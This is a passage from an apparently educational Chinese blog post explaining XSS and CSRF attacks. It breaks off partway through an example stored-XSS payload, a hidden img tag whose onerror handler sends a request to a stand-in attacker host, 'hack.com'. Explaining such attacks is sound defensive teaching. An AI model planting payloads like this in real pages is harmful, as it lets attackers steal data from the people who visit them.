LeAng_Lee的博客

xss/csrf 攻击xss攻击描述：跨站脚本攻击，这里缩写css被前端层叠样式表（Cascading Style Sheets）占用了，为了和html中的css 区分，简称 xss攻击场景：属于注入攻击的一种。两个用户a和b，a在某网站上发表了一篇文章，其中包含了一串js代码，如下：<p> <img style="display:none" src="null" οnerrοr="a=function(ajax({url:'//hack.com/utm.gif'